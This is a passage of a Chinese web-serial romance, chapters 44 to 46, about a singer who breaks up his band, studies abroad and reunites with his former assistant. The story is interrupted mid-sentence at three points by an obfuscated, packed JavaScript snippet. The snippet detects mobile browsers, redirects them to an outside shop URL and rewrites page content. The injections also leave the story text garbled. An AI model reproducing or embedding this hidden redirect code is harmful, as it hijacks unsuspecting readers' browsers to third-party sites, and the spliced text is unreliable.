江绪春没料到他的顺从,一个惯性向前,扑倒在他胸口。 可能是他身上的味道太好闻,可能是打闹得有些累了,江绪春渐渐卸了力,安静地听着他的心跳。 在这个多事之冬,她终于寻得了一刻安宁。 确实也只有一刻,因为下一秒,身下的扫兴鬼突然开口: “不是你的男朋友,也可以躺在你的小床上吗?” “……都说了不!许!嫌!我!的!床!小!” …… 人生似乎总是这般大起大落。 段则刚度过最黑暗的几日,又迎来了最快乐的一天。 回泓州的当天,他便在乐队小群里发了消息,问大家能不能聚一聚。 但因为贝斯手不在泓州,最后改成了线上视频通话。 于是,他就在这么个不太正式的场景下,说了自己的想法。 话音刚落,四人齐齐陷入了沉默。 有人扭头看向画面外,有人目光搜寻着,努力想找一个和自己眼神相汇的人。 最终是鼓手先打破了沉默:“合同不是还没到期吗?” 大家对于他的决定似乎并不意外,都是成年人了,比起什么梦不梦想,他们更在意一些现实的问题。 “由此产生的一切费用,我来承担。”段则说。 彼此又沉默了。 良久,键盘手开口道:“老傅,你要是在泓州就好了,我们起码还能吃顿散伙饭。” 他们曾经一起吃过很多饭,尤其是乐队初期,四人在苍蝇馆子里就点两道菜,配上无限续的米饭,能津津有味吃上好久。 许多灵感就是由此迸发,他们也讨论过很多次未来,有些无限乐观,有些不免悲观。但他们从未想过自己能登上体育馆,更没有想到有朝一日他们解散了,不是因为没钱或者没名,而是一切都有了,却找不到自己了。 翌日,段则便飞往深圳,和公司进行谈判。 公司以为他是因为这次纵火事件产生的退意,言辞恳切地慰问他的伤情,宣布后续的处理方案,试图挽回他。 段则没有说的是,早在这件事之前,他便有了离开的想法。 他也不知道它从何而起,可能是和公司签约的第一秒,可能是被铺天盖地网暴的那段时间,可能是巡演期间站得越高,越看不清台下的观众时,可能是当江绪春提出了辞职…… 它们聚沙成塔,在心底积压,最终的结果不是坦白,就是将自己压垮。 某种意义上,他甚至有些感谢这场意外。 至少,这让他在外人眼中,拥有了一个冠冕堂皇的理由。 眼见情感牌打不通,公司终于恢复了商人本质,和他讲合同讲利益。 段则的态度很明确,他一定要解约,无论付出何种代价。 鉴于在这件事上,公司确实负有对艺人保护不当的责任,再加上和公司其他电视艺人相比,陆鲨算不上什么香饽饽,给公司带来的利益不过是凤毛麟角,比起诉诸公堂,还是和平解决更合宜。 一切都很迅速,第二天,两方在价格上达成一致,陆鲨正式解约。 这个所谓合适的价格,差不多赔进了段则签约以来赚的所有钱。 好在他还有“容舟”这个笔名下的版权费,不至于马上变成穷光蛋。 这些年的辉煌好似黄粱一梦,霎时成了一场空。 离开公司后,段则过关去了趟香港。 他之前有来过一次香港,是和江绪春一起。那时候陆鲨还没签约公司,是来深圳参加音乐节,想着好不容易大老远飞来,不如去香港看看。 两人不断为高昂的物价咋舌,别说打车了,坐个地铁都心疼到不行。 但彼此还是很开心,可能除了贫穷,一切都是欣欣向荣的。 两人一路晃悠到维多利亚港,漫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399536|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步在星光大道上,江绪春强行抓着他的手按在扶手栏杆上,说他以后也会在这里留下手印。 “做什么梦。”段则笑她。 “我就做!”江绪春瞪他一眼,“人如果没有梦想,和咸鱼有什么区别?” 后半句话,她是用无比蹩脚的粤语说出来的。 “你当然不是咸鱼,你是小鸭子。”段则逗她。 江绪春气鼓鼓地抓着他的手,一把拍到不远处的麦兜手印上:“那你就是猪!” 事实证明,这确实是江绪春做了一场荒诞的梦。 她好像永远都是那么相信他,不管他有多糟糕、多无能,在她眼里仍然是最好的。 这种无理由的相信,连段咏竹都没有给过他,为什么她就可以如此笃定。 段则想不明白这点,也想不明白江绪春为什么会喜欢她。 她理应喜欢一个更好的人。 只是感情,似乎本就和理智处于天平两端。 段则一无所有地回到了泓州,刚放下行李,便去原本属于江绪春的房子里坐了坐。 她搬离前留了一堆“烂摊子”给他,而他一点儿没收拾,仍保留着她离开前的模样,看着就好像她随时会再次离开他。 他坐在沙发上发呆,目光定定地看着那台壁挂式cd机,他上前打开它,里面还放着陆鲨的cd。 她没有带走,她觉得这个不值得带走。 段则将它取出,盯着反光上自己的脸看了半天,最后一使劲,将它掰成两半,丢进了垃圾桶。 身为公众人物,一举一动都必须给大众一个交代。 他这些日子没有上网,但从某一刻起,电话突然开始暴增,他便知道解散的事被公布了。 媒体的电话他没接,打不通他的,他们自然会联系别人。 他只接了几通朋友的,以及段咏竹的。 对于后者,他从没想过她会打电话过来。 电话接通后,彼此都有那么一丝尴尬。 一些敷衍的寒暄后,段咏竹问他,此事是不是公司要求的。 “我自己的决定。”他说。 段咏竹在那边沉默了很久,久到他险些以为通话出故障了。 在他低头查看通话情况时,他听见段咏竹的声音隐隐从听筒传来:“好吧,那就做你想做的事吧。” 作为他的母亲,她确实给了他最大限度的自由。 关心某种意义上也是一种束缚和强迫,期望对方按自己理想的方式来生活,很难有一种爱是真正无私的、放手的。 段咏竹给了他金钱和自由,就不该苛求她给予更多了。 而眼下,段则确实有一件想做的事。 某个人没有给他打电话,但第一时间给他发来了消息。 她说她明早就来见他,因而段则频频抬头看钟,第一次发现时间流逝得如此缓慢。 他无法等待,也不愿等待了。 段则抓起车钥匙,匆匆下了楼,外面不知何时起了风,天气预报有说今晚会下暴雪。 但是去它的吧,他不在乎,什么狂风暴雪,金钱名声,甚至是他的生命,他都弃若敝屣。 他只想见到她,现在、立刻、马上。 引擎声响起,段则的理智短暂回归了一秒。 下一秒,他一脚踩下油门。 45. 第 45 章 正式接手bluenight那天,段则一路赶到北京的机场给她送行。 彼此连坐下喝杯咖啡的时间都没有,安检队伍很长,值完机后就得尽快去排队,两人全程脚步匆匆,几乎都没说上几句话。 直到来到安检处前,彼此终于站定。 “你别太想我哦。”江绪春尽量用轻松的语气道。 “做不到怎么办?” 江绪春沉默了,因为她自己好像也做不到这一点。 见她为难的样子,一直神情严肃的段则反而笑了,他抬手摸摸她脑袋:“快去吧,别误机了。” 江绪春没法回答,她只怕一开口,就是满满的哭腔。 她只好用力点点头,转身汇入人流中。 接到向镭邀请那天,她没有犹豫就同意了。 她知道自己算不上什么不可取代的人物,如果一而再再而三地推诿,怕是要永远错失这个机会。 工作的事解决了,但她不知道该怎么面对段则。 几度辗转反侧日夜难眠,编出一堆冠冕堂皇的借口和试探,最终,江绪春决定坦诚一点。 也许他们以后还会有很多矛盾,如果一开始就选择欺瞒,日积月累,就会变成难愈的沉疴。 既然要真诚,那就得真诚到底,为此,江绪春特地来到了泓州。 她以为这会是一场漫长的谈判,没想到她说出自己的决定后,段则的反应很平淡。 “很好啊,那个lily不是很喜欢你吗?” 她拿不准他的话里有没有阴阳怪气的成分。 “可你不是不喜欢bluenight的歌吗?”她问。 “是不喜欢。”段则说,“但只要你别在我面前放他们的歌,那我无所谓。” “其实有几首还挺好听的……”她试探性地刚说一半,便收到他一个眼刀,“好啦,我自己戴耳机偷偷听还不行吗?” 段则近乎一字一顿:“他们的歌真的很烂。” 这个人较真的点总是让人出乎意料。 气氛比想象中轻松太多,江绪春也越发自在,笑眯眯地逗他:“全世界就你品位最好是不是?” “是。” “自恋狂……”江绪春小声嘟囔了一句,“那你的意思是我的品位也很烂咯?” “你都喜欢他们的歌了,我和你没什么好说的。” “可是我还喜欢你欸!”对于自己的灵机一动,江绪春得意地昂着头。 “所以说你品位很差啊。” 这下江绪春不开心了。 段则这么好,她觉得全世界的人都应该喜欢他,可为什么会有那么多人讨厌他,这之中甚至包括他自己。 “闭嘴。”江绪春气鼓鼓地指着他,“我的品位超好,不许那么说我喜欢的人。” “他都失业了。” “我可以养他啊。” “他的胳膊上有很难看的疤。” “那很酷欸拜托。” “他性格很烂。” “那确实。”江绪春下意识应了一嘴,“可我就是喜欢啊,我又不是因为他有多完美才喜欢他,你就算在他身上找出一万个缺点,我还是喜欢他。” “我的品位果然很好。” 段则牛头不对马嘴地接了这么一句,让江绪春一愣:“什么?” “因为我爱你。” 这个人说句“喜欢”都要她引诱半天,她没想到他会是那个先说出“爱”的人。 “你说什么?”她轻声问。 “我爱你。” 对方变直白了,江绪春反倒手足无措起来。 她缓缓移开目光:“我好像也爱你吧。” 段则了然地笑了,点点头:“我会等到好像变成肯定的那天的。” 至于那天是哪天,江绪春还没想好。 “爱”这个字确实太重了,她就算有所感受,也很难说出口。 上次说“我爱你”,可能还要追溯到百日誓师那天,学校勒令他们对着家长大喊“爸爸妈妈我爱你”。 “绪春姐,我好爱你!你居然真的回来了!” 小孩子果然不一样,她说不出口的话,lily嘴皮子一碰就讲出来了。 她刚走出接机口,lily便飞扑上来,江绪春笑着回抱住她,好不容易松开手往前走时,lily还依依不舍地抱着她的胳膊,和她讲她不在这些天发生的事。 Bluenight去了两场音乐节,接了一场商演,并且计划筹备他们的第一次livehouse巡演。 一切都是那么欣欣向荣。 “你说我们以后也有机会登上体育馆吗?”lily问。 想到陆鲨,江绪春的笑容有些凝滞。 她不希望bluenight走上陆鲨的老路,虽然之中的辉煌,是很多乐队一辈子也无法企及的。 可是,没有一朵花会因为可能枯萎,就拒绝盛放的。 “会的。”江绪春说,“说不定还能登上体育场呢。” “天呐!”lily惊喜地捂着嘴,眼珠子滴溜溜转,好像机敏的小仓鼠,“偷偷告诉你,我喜欢的那个歌手都开不了体育场呢。” 身边的小姑娘在嘀嘀咕咕分享着喜欢歌手的八卦,机场的粉红显示屏上写着“来了就是深圳人”,走出大门,潮热的空气扑面而来。 一切是那么熟悉,又那么崭新。 对外,江绪春目前的title是bluenight执行经纪,毕竟她的商务谈判以及人脉资源方面还比较欠缺。不过向镭的意思很明确,等她上手后,自己就会把bluenight全权交给她。 作为公司的资深经纪人,向镭曾带过好几个二三线的知名艺人,前些年公司有意向乐队方向拓展,陆鲨是第一个,这个重担便交给了她。 不过眼下,她显然还是想转回传统的电视艺人经纪。 “如果做得好,以后公司再签乐队,可能也会交给你。”向镭欣赏地拍拍她肩膀。 江绪春想不到那么远的以后,也不敢想。 她只是点点头:“我会努力的。” 在她努力的期间,公司打着“陆鲨最后一张专辑”的旗号,释出了他们原本就想要发行的新专辑。 合约里,陆鲨在约期间的所有作品,版权都归公司所有,因而这件事,公司并没有征得陆鲨任何一个人的同意。 恍惚间,江绪春有种自己投敌的感觉。 她不知道怎么面对段则,对方似乎无所谓。 “都已经做完了,因为我一个人的原因被废弃,对不起每一个参与的工作人员,也对不起期待的歌迷。”他说。 更何况,段则目前很忙,忙到无暇顾及这些—— 他决定拾回从前的计划,出国留学,为此,这段时间他一直在刻苦学习雅思,希望能赶上今年秋天入学。 “你有想过毕业去做什么吗?”江绪春曾问他。 “没想过,先顺利毕业再说吧。” “欸?这不太像你欸。” 在她记忆里的段则,从小便坚定自己的梦想,目标明确,不断为之奋斗努力,哪像她只看得到眼下,对未来稀里糊涂。 “已经过了二十七年那样的人生,然后发现也就那样。”段则说,“新的一年,我想试着顺其自然一回,看看命运能把我推到什么地方。” “你抄袭我呀?”江绪春开玩笑道。 “是致敬你。” 只要一直在路上,命运就不会停下来。 虽然这之中,可能会有一些波折。 比如她喜欢的人不喜欢她,比如她失去了感兴趣的工作,但是潮起潮落,被波浪卷走的,又终究会被送回来。 而她坦然接受一切命运。 接到电话那天,没有通告的江绪春,正在享受一个难得的短假。 段则开门见山:“想你了怎么办?” “想我了就给我打电话呀。”她甜甜地应,“就像现在这样。” “好像还不够。” “那……” 江绪春还没想好怎么回,那头又道:“你住哪里,我准备打车了。” “什么意思?”她更懵了,“你来深圳了?!” “好热啊,我快中暑了。” 二十几度而已,演得太假了。 话虽如此,但当她把地址发过去的下一秒,心就已经因期待而雀跃了。 几乎跨越了一个地图的距离,他就这样来到了她面前。 深圳的气候让人很难时刻保持体面,段则的额头微微出汗,沾上了几缕碎发,反衬得一双眼亮晶晶。 江绪春就这么看着他、看着他,不敢相信他真的就站在自己家门口。 “不让进啊?”被她整整看了一分钟后,段则开玩笑道。 江绪春慌忙侧身让他进屋。 她垂眼正准备帮他拿拖鞋,手臂忽而被段则一把扣住。 截住她还不够,段则弯下腰,脑袋左晃晃右晃晃,她越躲,他越要与她对视。 直到某一刻终于对上眼,他很轻地笑了,松开手直起腰。 “别哭啦,我不是来了吗?” 就是因为来了才想哭的。 反正被发现了,江绪春不加掩饰地抹了抹眼睛,然后睁着一双红通通的眼睛,又开始盯着他看。 其实也没有想念到无法忍受的地步。 只是为工作焦头烂额时,或者看见路边盛放着漂亮的花时,抑或偶尔的一个愣神,她会突然想起他。 这些想念不算太浓烈,但一点点积攒着,让心底潮湿一片。 他居然就这么出现了,好开心啊。 开心到忍不住要流下眼泪。 段则虽然不会像她一样放任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410881|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人流眼泪,但很显然,在哄人这方面,他也很不擅长。 他只能无措地站在一边,一会儿揉揉她的头发,一会儿摸摸她的脸,局促得好像自己做错了什么事。 江绪春盯着他手足无措的模样,没忍住笑出声来。 这下好了,哭泣的氛围全被他毁了。 “好烦。”江绪春哭笑不得地推开他,“我不哭啦。” 一瞬间,段则长松一口气,终于能安心地笑了。 江绪春斜睨着他,非常怀疑这其实是他的手段之一。 虽然是无业游民,但段则比她好像还要忙一点。 以至于他好不容易来一趟深圳,结果在她家没待多久,他一背书包,说今天的学习任务还没完成,两个人直接溜达到了图书馆约会。 段则忙着学雅思,她就在一旁处理工作。 这还是她第一次来深圳图书馆,开阔明亮而又充满科技感的建筑,馆内充斥着浓厚的学习氛围,所有人自觉保持安静,低头为自己的未来而奋斗—— 她可能是唯一一个心不在焉的异类。 手里没什么要紧工作,江绪春单手托腮,目光越过笔记本屏幕,不时飘到坐在对面的段则面上。 他戴着耳机垂着眼,专注时的神情稍显严肃,右手没有恢复完全,他就用左手笨拙但认真地在平板上圈画着。 江绪春忽然想起大学时,那些在图书馆约会的小情侣。 不过她只有考证和期末时,才会去图书馆临时抱佛脚。段则就更不用说了,他的心思根本不在学习上,闲暇时间全用来玩音乐,完全是擦边毕了业。 那时候的她应该想不到,毕业这么多年了,她反而返璞归真来图书馆约会。 欸,不过喜欢的人就在身边,那些人真的能学下去吗? 反正江绪春目前好像……不太能。 那段则怎么能学得那么投入? 江绪春看着他的目光里,不由得多了那么一丝丝不满。 屏幕上突然弹出一条消息。 点开一看来自段则。 【段则:别看我了。】 视线是相对的,只有你看我了才能发现…… 话在脑中组织到一半,那边又发来一句。 【段则:不然我没法专心学习了。】 收到消息的下一秒,江绪春捂住嘴巴,低头躲在屏幕后无声地笑了。 被搅动心绪的不止她一个,这才公平嘛。 不知道段则今天的任务有没有完成,反正落日后,他又背着他方方正正的书包和她一起回家。 一个酷爱装x的rockstar,应该不会背这种书包。 以至于江绪春看它出现在他身上,就很想笑。 “你这个人每天情绪起伏很大啊。”段则莫名其妙地看着她,“又是哭又是笑的。” “你管我。”她用力拍了拍他傻乎乎的书包一掌。 就算奔赴千里,口语课也是不能停的。 两人在家刚吃完饭,段则又端坐在电脑前,开始和外教老师上课。 看多了他在舞台上肆意洒脱的模样,再看他认认真真上课,这种画面未免诡异中透着一丝好笑。 话虽如此,段则的学习成果还不赖。 他之前就因想留学练过一段时间口语,虽然由于工作荒废了,但现在捡起来也快,不止江绪春这个外行人觉得他说得很好,口语老师也称赞连连。 如果一切顺利的话,这个秋天,他就要飞走了。 他就算离开了舞台,摇滚精神之一的自由,是会伴随他一生的。 江绪春不会也不想阻拦他,因为她知道如果是自己,也会做出同样的选择。 亲戚和邻居总夸她是个不让爸妈操心的乖乖女,而父母在外面连声应着,一回到家,江志远就会调侃她“演得真好”。 如果她是个乖乖女,应该不会离家千里去上大学,也不会陪段则追寻未知的梦想,不会痛苦了就离开,不会去北京挑战自己,不会拥有回来的勇气。 某种意义上,他们算是同一类人。 是的,他们是一类人。 当彼此紧密相连时,江绪春想。 冲动来得很突然,她忽然想亲吻他那双口语说得不赖的嘴巴,想触摸他滚烫热烈的肌肤,想包容他的一切。 他很暴力,将她的一双手腕锢得好疼,他又很温柔,会一点一点吻掉她的眼泪。 相识二十余年,她以为自己对他了解的已经足够多,原来仍有值得探寻的部分。 “朋友之间是不是不该这么做?”神志恍惚时,她傻笑着问道。 “那怎么办呢,你要反悔吗?” 江绪春抬手,扣上他带着湿意的背脊:“你允许我反悔吗?” “不允许。” 哦,那真巧。 反正,她也早就不想和他做朋友了。 46. 正文完结 连绵不断的“encore”声如潮水般翻涌,一声重鼓后,原本漆黑一片的舞台亮起四束追光灯,在沸腾的尖叫声中,段则唱起了今晚的最后一首歌。 江绪春安静地坐在后台的监视器后,耳边响起向镭的声音:“准备准备吧,快结束了。” 她回过神来,点点头:“好。” 眼下举办的是陆鲨十周年纪念演唱会,地点在泓州体育场,只有一场且门票免费,但入场是强实名,且每一位观众的资料都要进行人工审核,确保入场的都是曾经的歌迷。 大概半年前,段则打了一通越洋电话给她,说了自己的这个想法。 他说他已经做出了之前计划的陆鲨十周年专辑,对于当初的武断行为,他不后悔,但是很对不起曾经支持的歌迷。 对于他的一切想法,江绪春向来是支持。 虽然主动选择了解散,可到底是自己一手创建的,表面上再云淡风轻,她知道段则对陆鲨的感情有多深。 彼时江绪春正在陪着bluenight全国跑巡演,对于如何筹办一场演出,她已经有了不少经验,但尚且有些不足。 她特地去请教了向镭,哪怕陆鲨曾把她搞得焦头烂额,她仍既往不咎,协助联系场地、文化审批、安全许可、最终开票等一系列流程,包括版权归属公司的那些歌,也都通融申请来了演唱许可。 段则自然也没闲着,一没课就飞回国,天天一睁眼都不知道在哪个时区。 外部的东西江绪春和向镭可以帮忙,内部的只能靠段则自己。 解散后,四人各奔东西。段则跑去了澳洲上学,键盘手选择回归家庭,专心和妻子照顾刚出生的宝宝,鼓手转去幕后,现在给一些音乐节目做指导,而贝斯手则和自己的网红女友合拍情侣视频,热度比在团时还要高些。 合约完全解除后,他们私下有没有联系不知道,但段则和他们几乎断了联系,也就之间过年时互发过节日祝福。 “你觉得他们还会理我吗?”电话里,段则的声音有些犹豫,“我之前有想过,要不就我一个人上台,但后来一想不行,陆鲨虽然是我创建的,但它从来不只是我一个人的。” “我不知道。”江绪春说,“我只知道如果你不去试一试,他们应该不会主动联系你。” 后来段则就去试了。 三人四散各地,他便一个个线下找他们,一趟不行就去两趟,刘备不过三顾茅庐,他去键盘手家跑了四趟。 “你知道我当初有多恨你吗?”第四次,键盘手说,“我真的想不通,我怎么能忍受和你这么个自大、独丨裁、善变的人玩这么久乐队。” 段则沉默了,每一个字他都无法反驳。 “但后来我意识到,我讨厌你的特质,可能也是你最让我折服的特质。”键盘手一耸肩,“到时候会录像吗,我要留给我闺女长大看,她老爹曾经也潇洒过。” 段则长松一口气,笑了:“会,我刻好寄给你。” 离开键盘手家,段则第一个给她发了短信告知。 江绪春那会儿正在成都,bluenight明天在此有演出,收到这则好消息,她忙遥遥送上祝福。 结果手头上的工作刚忙完,段则又发了条消息来,说是自己到成都了。 ……这人完全是个令人摸不着头脑的行动派。 【江绪春:你不是说明天有课吗?】 【段则:没事,今晚飞去还来得及。】 【段则:主要觉得好不容易回国一趟,见了那么多人,但是最重要的还没见。】 两人都是大忙人,天府机场更是远在天边,最终,彼此只能选了个折中的地儿,匆匆见上一小时。 他这些天肯定没睡好,黑眼圈都快掉到下巴,皮肤被澳洲热烈的阳光晒黑少许,少了些之前颓靡叛逆的劲儿,但却更真实,更得以触碰,江绪春小心翼翼地伸出手—— 狠狠拍了下他胳膊。 “你飞来飞去不累吗,能不能别折腾自己身体了,等回头忙完了,我也可以去澳洲找你啊。”江绪春语气带着不悦。 段则认认真真听她骂完,然后“哦”了一声。 “哦?!”江绪春难以置信地重复。 “我不管。”段则伸手一把抱住她,“反正我来了。” 他似乎将所有的思念都系于这难得的拥抱,一双手锢得好紧,江绪春试着挣开好几次都是徒劳。 “你不想我吗?”他蹭着她头顶,黏糊糊地问,“你一点都不想我是不是,找借口不想见我是不是,工作比我更重要是不是。” “……你这是无理取闹。” “哦,是吗,我不知道,我没谈过恋爱,我以为我千里迢迢跑来找女朋友,她会高兴的。” 江绪春在他怀里微微低下头,声音也轻了一截:“我高兴的。” “有多高兴?” 她屈指刮了刮他的外套:“高兴到……你明天别去上课了好不好?” “好啊,大不了回头挂科延毕。” 江绪春慌忙摇头:“那不行!” 越长大,好像就有越多无奈的事。 但是至少、至少,他愿意为这短暂的一小时奔波千里。 漫长的审批期间,段则回到澳洲继续进行学业。 第一次萌生留学想法时,他是为着自己的学历有些自卑,他总希望,自己呈现在外的方方面面都是最好的。 而这次决定留学,他似乎更想纯粹地学一些东西,以及尝试一种新的生活方式。 当年,段则是打算去英美留学,而此次,他选择了澳大利亚。 与世隔绝的辽阔岛屿,既有阳光沙滩,也有荒漠戈壁,过去与现在,野蛮与文明相交织,似乎是新开始的绝佳起点。 得知他的决定后,江绪春一个人在家研究了好久地图。 她不断缩小地图,测量两地之间的距离,又不断放大地图,看着那一个个陌生的英文地名。 也许他会爬这座山,也许他会看这片海,也许他还会在这间超市买吃的呢。 那些地方,段则后来确实都去了。 有些其实不在计划中,但听她开着玩笑说了自己当初的构想后,他果断买了机票前往。 也不知道她是怎么翻到这座犄角旮旯的野山,一打眼连条能走的路都没有,好在山不算高,他约了个有徒步经验的同学,两人吭哧吭哧还真爬上去了。 段则拍下山顶的照片发给她,正等着邀功呢,看到手机右上角空空的信号哑然失笑。 他还是更喜欢现代大都市。 最起码,他的思念可以即刻传达。 来澳洲这段时间,段则过得其实还不赖。 他很擅长交朋友,但仅限于表面,这也导致他虽然鲜少独行,却还是会觉得孤独。 在热闹的派对和夜半无人这两个极端时刻,这种感受尤甚。 而江绪春对这一切一无所知。 她只知道段则每天都会给她发很多照片,澳洲独特的风景人文,以及各种各样见过没见过的小动物。 闲来无事时,她会和lily分享这些图片,两个人头抵着头,一起猜是什么动物。 直到有一天,lily突然问她:“绪春姐,你和那个谁……是不是在一起啦?” 江绪春一愣,一时竟不知如何回答。 两人在一起后,并没有和任何人说过这件事,但也从没否认过。 譬如阅人无数的向镭第一时间发现他们不对劲,尚在向江绪春旁敲侧击时,她就一口承认了。 “哦。”向镭意料之内地点点头,“那你当初为什么要辞职,避嫌?” 江绪春干笑两声,某种意义上……也算是避嫌。 而眠艇每次想去泓州找他,得知他又又又去深圳了后,也逐渐意识到了些许端倪。 当他向段则打听时,段则也爽快承认了。 只是时隔这么久了,段则这段时间一直在澳洲,lily又是怎么发现的? 难道是——她盯着那张不知道是野狗还是郊狼的照片——她给lily看太多段则发的小动物了? “网、网上是这么说的……”没等她开口,lily小心翼翼地递上自己的手机。 人生头一次,她看到自己出现在了热搜上。 虽然用的是“前助理”这个名头。 起源是某营销号收到的私信投稿,对方说自己是内部人员,爆料某刚解散乐队主唱和前助理在一起了。 如此精确的形容,几乎没有第二个答案。 段则早已回归素人状态,没人会给他买这个热搜,看起来完全是网友自发讨论顶上去的。 江绪春只敢匆匆点开看上一眼,言辞比她想象中温和许多,但还是让她不敢细看。 “我们确实在一起了。”江绪春并没有向lily隐瞒的打算。 “哦~”lily好像听到什么大八卦,眼睛亮晶晶地点点头,但仍有些紧张,“我一直觉得你们很配呢。” 江绪春抬手摸摸小姑娘的头,示意她别害怕。 她不知道那个爆料人员是谁,真去追究似乎也没意义。 做这一行,周围就是有太多眼睛,内部的、外部的,目光炯炯,没有什么能够隐藏。 这条消息在飘洋过海前,先传到了她爸妈耳中。 她刚到家还没换好衣服,刘蓉一通电话过来,劈头盖脸就是一句:“江绪春你疯啦?!” 无论多大年纪,被父母喊全名总是会一阵战栗。 “我、我怎么了?”刚刚lily有多紧张,江绪春的紧张就是她的十倍。 “我告诉你,不管你和段则关系有多好,不许和他形婚,知道没有?!”刘蓉几乎是咆哮着道,“我等会儿就打电话给他妈,她儿子不学好,还想骗我女儿!” 江绪春这才想起这个陈年谎言。 “妈,妈。”她试图用甜甜的呼唤唤起刘蓉的理智,“你冷静下来,听我说。” 江绪春用了三分钟,仔仔细细解释了段则的取向,自己当初为什么撒谎,以及两人是什么时候在一起的。 那头沉默良久,冷哼一声道:“你是不是有病,和爸妈撒这种谎,我真想一榔头敲死你。” 江绪春后怕地摸摸脑袋。 还好,起码语气比之前平稳不少了。 “不过也好,小段是我看着长大,知根知底的。”气渐渐消了后,刘蓉说,“就是之前我有点看不惯他的工作,不稳定,现在出去进修了也好,回来考个公务员,那就完美了。” 看来,她还有些念念不忘自己错失的电网金龟婿和公务员金龟婿。 电话挂断后,江绪春看了眼时间,这个点段则应该已经睡了。 她点开对话框。 【江绪春:热搜上说我们在一起了。】 她本以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418918|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为段则明天才会回复,结果没一会儿,手机上弹出来一条消息。 【段则:他们没说错啊。】 江绪春盯着这行字看了半天。 他现在是自由身,没有公司会因为他股价下跌,乐队成员谈恋爱,也从来不是什么稀罕事,更何况他连乐队都解散了。 最大的后果,无非是那些无聊的饭局上,大家谈论的八卦又多了一宗。 可是她在乎吗? 也许过去是在乎的,然而现在,跨越生死后,这些就显得无足轻重。 【江绪春:你难得一次没有被造谣欸。】 【段则:喜事,明天吃顿中餐庆祝一下。】 原本以为的惊涛骇浪,就这么轻飘飘地过去了。 而下一次段则再上热搜时,就是陆鲨即将举办十周年纪念演唱会,这个词条的热度,比他之前的恋爱传闻要高上数倍。 一切忙碌但有序地进行着,演唱会当天,bluenight有一个小通告,lily主动让江绪春去忙演唱会的事。 “这个活动这么简单,我一个人完全没问题啦。”lily胸有成竹地看着她,“你不相信我吗?” 江绪春欣赏地看着她,从前那个畏手畏脚的小姑娘,好像也长成了能独当一面的存在。 就像当年的她一样。 “那我回头给你带泓州月饼。”江绪春道。 “好哦,我要吃蛋黄的,还有豆沙的!” 段则已经提前一天从澳洲飞抵泓州,等江绪春抵达时,现场正在进行第二轮彩排。 内场零零散散坐了些工作人员,江绪春拣了个靠后的位置落座。 最初的最初,她总是站在台下充当气氛组。 她不算内向,可也不是什么太外向的性子,但为了搅热气氛,她永远喊得最大声,鼓掌得最用力。 直到某一刻开始,他不需要她的热场,而她的位置,也从台下变到了台后。 这当然是令人欣喜的转变,只是偶尔,她也会怀念在台下为他尽情呐喊的日子。 一曲唱罢,台下响起寥寥掌声,段则对此似乎并不在意,正专注和场控沟通可以调整的细节。 江绪春试探着张了张口,但没能发出声音。 她只好拍拍手,连鼓掌都没有很用力,声音混杂在其他人之中。 不过,能安静听段则唱歌也很好。 下一次……也许都没有下一次了。 大概以后她缠着他,他会给她清唱几句,甚至拿起吉他弹唱,但是站在舞台上的机会,或许很难再有。 看着看着,江绪春讶异地发现,他今天没有拉直头发。 也许是私下看了太多遍,她听完一首歌才意识到,这是他第一次在公众面前展露自己的自来卷。 短袖下,一只手臂上的伤疤清晰可见,像是起伏的蛇,蜿蜒缠绕着他。 刚解开绷带换作压力套时,段则总是会用长袖去遮掩。冬天还好,可随着天气转暖,尤其他常来深圳,不管多热,永远会套上一件长袖外套。 再到后来,压力套脱下了,但长袖仍焊在他身上。 江绪春不知道该怎么劝他,又似乎说什么都没有意义。 而现在,他用那只手高高握着话筒,唱到忘情时,小卷毛会微微摇晃。 他好像不再是某些歌迷口中完美无瑕的存在,他甚至已经不是艺人,但他仍然是段则。 一曲,又是一曲。 这些歌有些是老歌,也有陆鲨刚解散时发的专辑,以及这次新出的十周年专辑,都是第一次现场演唱,后者甚至是在演唱会上首度公开。 解散专江绪春已经听过很多遍,但对新专一无所知,因为太忙了,歌单报批时她都没有过目。 因此,她或许是全场为数不多第一次听到这些歌的人。 新专的歌有的是他之前就写好的,有的是他在澳洲留学期间写的,顺着听下来,隐约能感受到之间的情感起伏,以及风格变迁。 “接下来,将给大家带来十周年纪念专的同名歌曲。”这些串词自然也是要提前排练的,“《天鹅》。” 随着一声电吉他响起,江绪春的脑袋“嗡”的一声。 她反反复复回想他刚刚说的最后两个字,一度怀疑自己是不是在幻听。 整首歌的曲调很激昂,但唱腔却意外温和,像是汹涌海面的一隅宁静灯塔。 江绪春昂头,定定地看向他。 